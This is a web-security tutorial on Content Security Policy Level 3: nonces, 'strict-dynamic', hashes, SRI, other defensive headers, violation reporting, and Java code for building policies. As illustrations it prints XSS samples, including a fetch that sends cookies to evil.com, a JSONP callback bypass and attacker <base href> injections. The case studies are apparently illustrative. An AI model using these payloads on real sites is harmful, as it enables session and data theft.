Skip to content
ArticlesFront EndWeb Security

Content Security Policy (CSP) Level 3: Modern Defense Against XSS

16 min readsalahtobok
Content Security Policy Level 3: Modern Defense Against XSS and Data Exfiltration

The Enduring Threat of Cross-Site Scripting

For more than two decades, Cross-Site Scripting (XSS) has remained one of the most prevalent vulnerabilities on the web. Despite modern frontend frameworks such as Angular, React, and Vue providing automated HTML entity escaping, attackers continue to find clever injection vectors. Through user-generated markdown comments, SVG image uploads, rich-text rendering pipelines, and template injection flaws, malicious JavaScript execution inside browser contexts remains a persistent threat.

When an attacker executes arbitrary JavaScript in a victim’s web browser, the security perimeter crumbles completely. Malicious scripts can harvest session authentication tokens, read document cookies, capture keystrokes through DOM event listeners, and make unauthorized REST API calls on behalf of the victim. In financial checkout pages, specialized scripts known as Magecart skimmers silently intercept credit card numbers and exfiltrate them to offshore command-and-control servers.

Input validation and output encoding are vital security measures, but defense-in-depth requires browser-enforced confinement. The browser must know exactly which scripts are legitimate parts of the application and which scripts were injected by adversaries. This is the precise mission of Content Security Policy (CSP).

Why Legacy CSP Whitelists Failed

When the W3C introduced Content Security Policy Level 1 and Level 2, the primary defense mechanism was domain allowlisting (often called whitelisting). Security teams configured HTTP response headers instructing browsers to load scripts only from specific trusted hosts:

Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com https://*.google.com https://apis.google.com;

In theory, this policy appeared robust: the browser would refuse to execute scripts hosted on https://evil-attacker.com. In reality, domain allowlisting proved completely broken. In 2016, security researchers at Google published an empirical study examining 1.6 billion web pages. Their findings were devastating: 94.6% of whitelist-based CSPs were trivially bypassed by attackers.

Why did domain allowlisting fail so catastrophically? The primary culprit was the presence of JSONP (JSON with Padding) endpoints and open redirect mechanisms on whitelisted domains. Many major cloud platforms and content delivery networks host legitimate JSONP APIs that accept a user-controlled callback parameter:

<script src="https://whitelisted.com/api/jsonp?callback=alert(document.cookie)"></script>

Because the domain whitelisted.com is explicitly trusted in the CSP header, the browser gladly fetches the URL and executes the returned JavaScript payload. The attacker bypasses the entire Content Security Policy without violating a single directive.

Furthermore, maintaining domain allowlists created severe operational friction. Modern Single Page Applications depend on hundreds of dynamic micro-dependencies, tracking pixels, and customer support widgets. Security headers regularly grew beyond 4,000 characters, triggering HTTP 431 Request Header Fields Too Large errors. Web operations teams were trapped between broken applications and porous security.

Content Security Policy Level 3 Architecture

Recognizing the fundamental flaws of host allowlists, the W3C redesigned the specification in Content Security Policy Level 3. The new standard shifts the paradigm from host-based trust to cryptographic provenance.

CSP Evolution: Domain Whitelists (Level 1/2) vs Strict Nonce & Dynamic (Level 3)
Figure 1: Comparing vulnerable domain allowlists against robust cryptographic nonces and strict-dynamic.

Instead of guessing which internet domains might host malicious scripts, CSP Level 3 enforces two simple rules:

  1. Cryptographic Nonces: The backend web server generates a unique, cryptographically random number (a nonce) for every HTTP response. Only script tags decorated with the exact matching nonce attribute are executed.
  2. The 'strict-dynamic' Directive: When a nonced root script executes, it is granted the authority to dynamically create and load sub-dependencies via DOM APIs like document.createElement('script'). The browser automatically propagates trust to child scripts without requiring external domain whitelisting.

By pairing nonces with 'strict-dynamic', modern web applications achieve airtight defense against XSS while completely eliminating the operational burden of domain whitelisting.

Cryptographic Nonces and Strict-Dynamic

Let us trace the complete lifecycle of a strict CSP Level 3 policy in production. When a user requests an HTML page, the web server generates a high-entropy random token using a cryptographically secure random number generator (such as java.security.SecureRandom in Java):

Nonce: r4nd0mN0nc3V4lu3== (128 bits of cryptographic entropy)

The server emits the standard CSP Level 3 header in the HTTP response:

Content-Security-Policy: default-src 'self'; script-src 'nonce-r4nd0mN0nc3V4lu3==' 'strict-dynamic' 'unsafe-inline' https:; object-src 'none'; base-uri 'none';

In the HTML document, the server stamps the exact same nonce onto legitimate application script tags:

<!DOCTYPE html>
<html lang="en">
<head>
  <script nonce="r4nd0mN0nc3V4lu3==" src="/static/js/main.bundle.js"></script>
</head>
<body>
  <h1>Secure Banking Portal</h1>
</body>
</html>

When the browser parses the document, it validates that the script tag’s nonce attribute matches the header. Because they match, main.bundle.js executes.

Strict-Dynamic Script Propagation Flow: Root Nonce to Dynamic Dependencies
Figure 2: End-to-end execution flow illustrating how nonced root scripts dynamically propagate trust.

Now, consider what happens when an attacker injects a malicious script via a stored comment vulnerability:

<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

The attacker does not know the server’s ephemeral 128-bit random nonce. Because the injected script lacks a valid nonce attribute, the browser security engine immediately blocks execution and fires a violation event. Even if the attacker attempts to guess a nonce, the odds of guessing a 128-bit value are one in 340 undecillion.

Notice the inclusion of 'unsafe-inline' and https: in the header. Why are they present? This is the elegant backward compatibility mechanism of CSP Level 3. When a modern Level 3 compliant browser sees 'nonce-...' and 'strict-dynamic', the specification dictates that the browser must ignore 'unsafe-inline' and https:. However, if a legacy Level 1 or Level 2 browser visits the page, it does not understand 'strict-dynamic', so it safely falls back to executing scripts over HTTPS. Your policy remains strictly secure on modern browsers while avoiding breaking older clients.

Subresource Integrity and Script Hashes

In addition to nonces, CSP Level 3 supports cryptographic content hashing. Instead of trusting a script based on a random token, the policy trusts a script based on the SHA-256, SHA-384, or SHA-512 cryptographic digest of its exact source code.

For example, if your HTML template includes a small inline telemetry bootstrap:

<script>window.telemetry = { sessionId: 'xyz' };</script>

You can compute the SHA-256 hash of the script body and declare it in the CSP header:

Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZGilCrJE=';

If an attacker modifies a single character inside that script tag, the cryptographic hash changes, and the browser refuses execution.

A closely related W3C standard is Subresource Integrity (SRI). While CSP governs which resources can execute, SRI guarantees that third-party scripts loaded from external Content Delivery Networks (CDNs) have not been tampered with by supply-chain attackers. You decorate external script tags with an integrity attribute:

<script src="https://cdn.example.com/analytics.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
        crossorigin="anonymous"></script>

If a rogue hacker compromises the CDN server and injects a backdoor into analytics.js, the browser recalculates the SHA-384 hash upon download, detects the mismatch, and discards the script before execution.

Critical Defensive Directives: object-src, base-uri, and frame-ancestors

A comprehensive Content Security Policy does not stop at script-src. Attackers utilize dozens of non-script HTML injection techniques to achieve code execution or exfiltrate sensitive data. A hardened CSP Level 3 policy must include three mandatory defensive directives:

1. object-src 'none'

Legacy web plugins such as Adobe Flash, Microsoft Silverlight, and Java Applets can be embedded via <object>, <embed>, or <applet> tags. These plugins execute in unmanaged process spaces outside the browser’s JavaScript sandbox, allowing attackers to execute memory corruption exploits. Setting object-src 'none' completely disables plugin execution across the entire web application.

2. base-uri 'none' (or 'self')

The HTML <base> tag defines the default base URL for all relative links, script sources, and API requests on a webpage. If an application contains an HTML injection flaw where script tags are sanitized but base tags are permitted, an attacker can inject:

<base href="https://attacker-server.com/">

Suddenly, all relative scripts loaded by the application (such as <script src="/app.js">) will be fetched from https://attacker-server.com/app.js! Setting base-uri 'none' or base-uri 'self' blocks attackers from rewriting relative URI references.

3. frame-ancestors 'none'

Clickjacking occurs when an attacker embeds your sensitive web application (such as a banking wire transfer page or admin panel) inside an invisible transparent <iframe> on a malicious website. The attacker lures the victim into clicking decoy buttons, tricking them into clicking buttons on the hidden iframe.

In the past, developers used the X-Frame-Options: DENY header. In modern web standards, X-Frame-Options is completely superseded by CSP’s frame-ancestors directive:

Content-Security-Policy: frame-ancestors 'none';

This directive instructs all compliant browsers to refuse embedding the page in any frame, completely neutralizing clickjacking attacks.

Violation Reporting with the W3C Reporting API

Deploying a strict Content Security Policy in a large enterprise system carries the risk of breaking legitimate third-party analytics or payment gateways. To deploy CSP safely without disrupting users, the specification provides a dedicated report-only mode: Content-Security-Policy-Report-Only.

In report-only mode, the browser evaluates the policy, but instead of blocking violations, it allows execution and sends a structured JSON violation report to a designated reporting endpoint. This allows security engineers to audit application behavior and identify missing dependencies before enforcing blocking rules.

Modern CSP Violation Reporting Architecture: W3C Reporting API Pipeline
Figure 3: Asynchronous violation telemetry pipeline ingesting W3C Reporting API payloads into SIEM.

Historically, policies used the legacy report-uri /csp-endpoint directive. In CSP Level 3, reporting is standardized under the W3C Reporting API using the report-to directive and the Reporting-Endpoints HTTP header:

Reporting-Endpoints: csp-endpoint="https://api.example.com/telemetry/csp"
Content-Security-Policy: default-src 'self'; script-src 'nonce-xyz' 'strict-dynamic'; report-to csp-endpoint;

When a violation occurs, the browser batches the violation data and asynchronously sends an HTTP POST request carrying a JSON payload:

{
  "type": "csp-violation",
  "age": 15,
  "url": "https://learn.webcodein.com/checkout",
  "body": {
    "documentURL": "https://learn.webcodein.com/checkout",
    "referrer": "https://google.com",
    "blockedURL": "https://evil-analytics.com/tracker.js",
    "effectiveDirective": "script-src-elem",
    "violatedDirective": "script-src",
    "originalPolicy": "default-src 'self'; script-src 'nonce-xyz' 'strict-dynamic'; report-to csp-endpoint;",
    "statusCode": 200
  }
}

Backend telemetry consumers ingest these reports into SIEM systems like Elasticsearch or Splunk, providing security teams with real-time alerting whenever XSS attacks occur in the wild.

Browser Defense-in-Depth Security Matrix

A production web application must orchestrate multiple complementary security headers to form an impenetrable client-side perimeter. The following matrix details how CSP Level 3 coordinates with other modern browser defense mechanisms:

Security Standard Primary Threat Mitigated Key Directives / Values Production Impact
Content-Security-Policy Level 3 XSS, Clickjacking, Data Exfiltration script-src 'nonce-...' 'strict-dynamic'; object-src 'none'; Prevents unauthorized JavaScript execution and plugin exploits.
Subresource Integrity (SRI) CDN supply-chain tampering and code injection integrity="sha384-..." crossorigin="anonymous" Ensures third-party CDN assets match cryptographic digests.
Cross-Origin-Opener-Policy (COOP) Cross-origin window interaction, Spectre side-channels same-origin Isolates top-level browsing context from opening windows.
Cross-Origin-Embedder-Policy (COEP) Unauthorized subresource embedding require-corp Demands explicit CORP permission before embedding external media.
Cross-Origin-Resource-Policy (CORP) Cross-origin data leaks and asset hotlinking same-site or same-origin Protects backend JSON APIs from being read by cross-origin pages.
X-Content-Type-Options MIME-type sniffing and confusion attacks nosniff Forces browsers to strictly honor declared Content-Type headers.
Referrer-Policy PII, tokens, and sensitive URLs leaking in Referer strict-origin-when-cross-origin Strips query parameters and paths when navigating across origins.
Permissions-Policy Unauthorized device sensor and hardware access camera=(), microphone=(), geolocation=() Disables access to unused hardware APIs in the browser.
Browser Security Defense Matrix: CSP, SRI, CORS, COOP, and COEP
Figure 4: Comprehensive enterprise matrix covering CSP Level 3, Subresource Integrity, COOP, and COEP.

Practical Java 25 CSP Policy Engine Implementation

To demonstrate production-grade CSP management without external frameworks, we implemented a complete Content Security Policy compiler and reporting parser in Java 25. The project requires no Spring Boot and uses clean architectural boundaries.

First, we implement the CspNonceGenerator, which generates 128-bit Base64-encoded nonces using SecureRandom:

package com.webcodein.workshop.csp.engine;

import java.security.SecureRandom;
import java.util.Base64;

public class CspNonceGenerator {

    private static final int DEFAULT_BYTE_LENGTH = 16; // 128 bits entropy
    private final SecureRandom secureRandom = new SecureRandom();

    public String generateNonce() {
        return generateNonce(DEFAULT_BYTE_LENGTH);
    }

    public String generateNonce(int byteLength) {
        if (byteLength < 16) {
            throw new IllegalArgumentException("Nonce length must be at least 16 bytes per CSP Level 3 specification");
        }
        byte[] nonceBytes = new byte[byteLength];
        secureRandom.nextBytes(nonceBytes);
        return Base64.getEncoder().encodeToString(nonceBytes);
    }
}

Second, we construct the CspPolicyBuilder, which compiles directives into compliant HTTP header strings:

package com.webcodein.workshop.csp.engine;

import com.webcodein.workshop.csp.model.CspDirective;
import com.webcodein.workshop.csp.model.CspSource;

import java.util.ArrayList;
import java.util.EnumMap;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import java.util.stream.Collectors;

public class CspPolicyBuilder {

    private final Map<CspDirective, List<CspSource>> directives = new EnumMap<>(CspDirective.class);

    public CspPolicyBuilder addDirective(CspDirective directive, CspSource... sources) {
        Objects.requireNonNull(directive, "directive must not be null");
        directives.computeIfAbsent(directive, d -> new ArrayList<>()).addAll(List.of(sources));
        return this;
    }

    public static CspPolicyBuilder strictLevel3Policy(String nonce) {
        Objects.requireNonNull(nonce, "nonce must not be null");
        return new CspPolicyBuilder()
                .addDirective(CspDirective.DEFAULT_SRC, CspSource.self())
                .addDirective(
                        CspDirective.SCRIPT_SRC,
                        CspSource.nonce(nonce),
                        CspSource.strictDynamic(),
                        CspSource.unsafeInline(),
                        CspSource.https()
                )
                .addDirective(CspDirective.OBJECT_SRC, CspSource.none())
                .addDirective(CspDirective.BASE_URI, CspSource.none())
                .addDirective(CspDirective.FORM_ACTION, CspSource.self())
                .addDirective(CspDirective.FRAME_ANCESTORS, CspSource.none());
    }

    public String build() {
        return directives.entrySet().stream()
                .map(entry -> {
                    String directiveName = entry.getKey().headerName();
                    String sources = entry.getValue().stream()
                            .map(CspSource::value)
                            .collect(Collectors.joining(" "));
                    return sources.isEmpty() ? directiveName : directiveName + " " + sources;
                })
                .collect(Collectors.joining("; "));
    }
}

Third, we provide a CspViolationParser that processes incoming violation telemetry from both legacy report-uri and modern W3C Reporting API endpoints:

package com.webcodein.workshop.csp.engine;

import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.webcodein.workshop.csp.model.CspViolationReport;

import java.io.IOException;

public class CspViolationParser {

    private final ObjectMapper objectMapper = new ObjectMapper();

    public CspViolationReport parseReport(String jsonPayload) throws IOException {
        JsonNode root = objectMapper.readTree(jsonPayload);
        JsonNode reportNode = root;

        if (root.has("csp-report")) {
            reportNode = root.get("csp-report");
        } else if (root.has("body")) {
            reportNode = root.get("body");
        }

        return objectMapper.treeToValue(reportNode, CspViolationReport.class);
    }
}

Real-World Enterprise Case Studies

Case Study 1: Tier-1 Banking Portal Neutralizes Magecart Supply-Chain Skimmer

A major European online banking institution integrated a third-party chat widget onto its payment and mortgage calculation pages. Unbeknownst to the bank, the chat vendor's AWS S3 bucket was hijacked by an advanced cybercrime syndicate. The attackers injected a Magecart credit card skimmer into the vendor's JavaScript file.

Fortunately, the bank had deployed a strict CSP Level 3 policy enforcing script-src 'nonce-...' 'strict-dynamic' alongside form-action 'self' and connect-src 'self' https://api.bank.com. When the malicious script attempted to transmit intercepted banking credentials to an external server in Eastern Europe, the browser intercepted the outgoing network request and blocked it because the target domain violated connect-src. The bank's W3C reporting endpoint received violation alerts within seconds, allowing security incident response to notify the vendor before customer accounts were compromised.

Case Study 2: SaaS Enterprise Hub Mitigates DOM Stored XSS in Rich Comments

An enterprise project management platform allowed team members to submit task descriptions formatted in Markdown. An attacker discovered an HTML sanitation bypass in the markdown parser: by injecting custom SVG vector tags with inline onload event attributes, the attacker could execute arbitrary JavaScript in the browser of any user opening the task.

Because the platform enforced a strict CSP Level 3 policy without 'unsafe-inline', the victim's browser refused to execute the SVG onload script. The browser flagged the inline script as nonceless and discarded the event handler. The vulnerability was neutralized at the browser boundary with zero data exposure.

Case Study 3: Global E-Commerce Store Eliminates Hidden Clickjacking Attacks

An international retail brand discovered that a network of phishing websites was embedding their one-click checkout modal inside transparent iframes. Attackers lured shoppers with fake lottery prize games, tricking them into clicking "Claim Prize" buttons that perfectly overlaid the hidden "Confirm Purchase" button of the retailer's iframe.

The retailer immediately updated their HTTP response headers to include frame-ancestors 'none' across all checkout endpoints. Browsers immediately refused to render the store inside any external frame. The fraudulent phishing network collapsed instantly, saving customers thousands of unauthorized purchases.

Production Anti-Patterns and Pitfalls

Anti-Pattern 1: Reusing Static Nonces across Multiple HTTP Responses

A fatal implementation mistake is generating a single nonce at application startup and caching it globally across all HTTP responses. If the nonce is static (e.g., nonce="staticConstant123"), an attacker can inspect the page source once, copy the static nonce, and inject malicious scripts tagged with that exact value:

<script nonce="staticConstant123">stealData()</script>

Solution: Generate a fresh, unpredictable 128-bit cryptographic nonce on every single HTTP request. Never store nonces in shared application state.

Anti-Pattern 2: Combining 'unsafe-inline' without Nonces in CSP Level 2

Developers who struggle with inline script errors often take the path of least resistance: adding 'unsafe-inline' to script-src without nonces or hashes. Doing so completely disables CSP's protection against Cross-Site Scripting. Any script injected by an attacker will execute freely.

Solution: Migrate inline scripts to external bundled JavaScript files or generate cryptographic nonces and hashes for required bootstrap scripts.

Anti-Pattern 3: Omitting object-src 'none' and base-uri 'none'

Many teams spend weeks perfecting their script-src directive while completely ignoring object-src and base-uri. Attackers take advantage of this oversight by injecting <base href="https://attacker.com"> tags, which redirect all relative script fetches to malicious servers, or embedding malicious Flash objects.

Solution: Always include object-src 'none' and base-uri 'none' (or base-uri 'self') in your baseline security policy.

Frequently Asked Questions

What is the difference between CSP Level 2 and CSP Level 3?

CSP Level 2 relied primarily on host domain allowlists, which research proved vulnerable to JSONP bypasses and open redirects. CSP Level 3 shifts the trust model to cryptographic nonces and the 'strict-dynamic' directive, allowing trusted root scripts to load dependencies dynamically while blocking untrusted inline injections.

Why does a CSP Level 3 header include 'unsafe-inline' and https:?

This is for backward compatibility. In modern CSP Level 3 compliant browsers, the presence of 'strict-dynamic' and a nonce automatically forces the browser to ignore 'unsafe-inline' and https:. However, older browsers that do not support Level 3 will ignore 'strict-dynamic' and fall back to allowing HTTPS scripts, ensuring the site does not break on legacy clients.

How does 'strict-dynamic' make CSP easier to maintain?

In legacy CSP, every third-party script and CDN loaded dynamically by your application had to be explicitly listed in the header. With 'strict-dynamic', any script created by an already-trusted nonced script is automatically trusted by the browser. You no longer need to manage fragile lists of external hostnames.

Can I use Content Security Policy on static HTML pages served from CDNs?

Because nonces must be unique per HTTP request, completely static cached HTML cannot use nonces without edge compute workers (such as Cloudflare Workers or AWS Lambda@Edge) that inject fresh nonces into headers and HTML. Alternatively, purely static pages can use cryptographic script hashes (SHA-256) instead of nonces.

Does CSP replace input validation and output encoding?

No. CSP is a defense-in-depth mitigation layer, not a replacement for secure coding practices. Applications must always perform strict server-side input validation and context-aware HTML entity output encoding to stop injection vulnerabilities at their source.

Companion Workshop Code

The companion workshop project for this guide provides a complete Java 25 Content Security Policy engine without external web frameworks:

For related security and networking architectures, explore our in-depth guides on OWASP API Security Top 10 Mitigations, PASETO vs. JWT Token Security, Zero-Trust mTLS with Envoy Proxy, WebSockets vs. SSE vs. WebTransport, and Clean Architecture Ports and Adapters.

Official References and Specifications

Comments